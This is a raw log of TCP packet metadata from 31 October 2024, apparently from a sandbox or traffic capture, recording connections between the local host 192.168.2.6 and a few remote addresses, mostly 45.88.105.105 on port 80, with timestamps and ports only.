Oct 31, 2024 09:07:10.023308039 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.023309946 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.023319960 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.023346901 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.023358107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.023394108 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.051122904 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.051171064 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.051208019 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.051215887 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.051240921 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.051264048 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.053355932 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.053421974 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.053441048 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.053447962 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.053474903 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.053493977 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.053946972 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.054008961 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.054014921 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.054064989 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.054105997 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.054114103 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.054137945 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.054157019 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.054169893 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.054186106 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.054837942 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.054897070 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.054933071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.054945946 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.054971933 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.054987907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.055234909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055247068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055257082 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055270910 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055275917 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.055296898 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.055304050 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.055794001 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055804968 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055814981 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.055838108 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.055851936 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.097270966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097357988 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097369909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097400904 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.097434998 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.097656012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097667933 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097696066 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.097721100 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.097881079 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097892046 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097902060 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.097919941 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.097946882 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.098145008 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.098185062 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.121371984 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.121416092 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.121488094 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.121551991 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.121607065 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.121635914 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.121646881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.121675968 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.121692896 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.122184038 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.122203112 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.123361111 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.123464108 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.123547077 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.123883009 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.123920918 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.124779940 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.124789953 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.124844074 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.124949932 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.124967098 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.125561953 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.125582933 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.125646114 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.125797033 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.125845909 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.125879049 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.125890970 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.125920057 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.126260996 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.126302004 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.133435965 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.133459091 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.133537054 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.133625031 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.133635998 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.137404919 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137417078 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137428045 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137439013 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137464046 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137480021 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137494087 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137509108 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137526989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137533903 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137543917 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137556076 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137562037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137569904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137583017 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137586117 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137595892 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137610912 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137639999 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137693882 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137706041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137717009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137736082 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137748957 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.137986898 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.137998104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138032913 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138052940 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138066053 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138077021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138091087 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138093948 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138104916 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138118029 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138144016 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138720036 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138730049 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138765097 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138890982 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138904095 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138915062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138927937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.138931990 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138946056 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.138971090 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.139327049 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.139343023 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.139355898 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.139367104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.139368057 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.139379978 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.139380932 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.139394999 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.139403105 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.139432907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.140000105 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.140012026 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.140044928 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.172002077 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172013044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172023058 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172044039 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172055960 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172065973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172116995 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.172161102 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.172422886 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172435999 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172463894 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.172487974 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.172842979 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172854900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172866106 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.172894955 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.172919989 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.173079014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.173120022 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.214392900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.214488983 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.214500904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.214519024 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.214541912 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.214548111 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.214768887 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.214782000 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.214819908 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.214848995 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.215015888 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.215027094 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.215054989 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.215068102 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.215293884 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.215305090 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.215318918 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.215328932 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.215342045 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.215356112 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.215379000 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.238694906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.238746881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.238756895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.238775969 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.238811970 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.242997885 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.243063927 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.243086100 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.243097067 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.243130922 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.253628016 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.253689051 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.253737926 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.253748894 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.253784895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.253915071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.253957987 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254066944 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254077911 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254106045 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254117012 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254270077 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254282951 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254292011 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254314899 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254339933 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254632950 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254642963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254652977 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254663944 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.254667997 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254700899 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.254730940 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.255491018 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255501032 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255510092 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255521059 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255532026 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255536079 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.255546093 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255553961 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.255558014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.255598068 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.256236076 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256246090 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256256104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256267071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256268024 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.256268024 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.256298065 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.256414890 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256433964 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256441116 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.256464958 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.256485939 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.257260084 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257272005 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257281065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257292032 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257302999 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257303953 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.257312059 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.257316113 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257325888 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257364988 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.257621050 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257632971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257642984 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257653952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.257656097 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.257657051 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.257728100 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.258243084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289021015 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289083004 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289166927 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289177895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289206982 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289230108 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289412022 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289423943 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289452076 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289643049 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289654970 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289683104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289714098 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.289768934 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.289819002 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.290095091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.290107012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.290117025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.290127039 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.290138960 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.290163994 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.331573963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.331624031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.331660986 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.331671953 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.331708908 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.331727028 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.332000971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.332010984 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.332020044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.332040071 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.332062006 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.332165003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.332204103 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.333158016 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.333172083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.333183050 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.333194971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.333197117 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.333206892 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.333215952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.333220005 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.333230019 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.333281994 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.355886936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.355942965 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.356059074 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.356069088 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.356095076 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.356128931 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.360212088 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.360265970 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.360379934 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.360389948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.360420942 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.364701986 CET	443	49705	173.222.162.64	192.168.2.6
Oct 31, 2024 09:07:10.364783049 CET	49705	443	192.168.2.6	173.222.162.64
Oct 31, 2024 09:07:10.371033907 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371045113 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371085882 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371102095 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371125937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371136904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371159077 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371171951 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371375084 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371386051 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371397018 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371406078 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371409893 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371423960 CET	49709	80	192.168.2.6	45.88.105.105
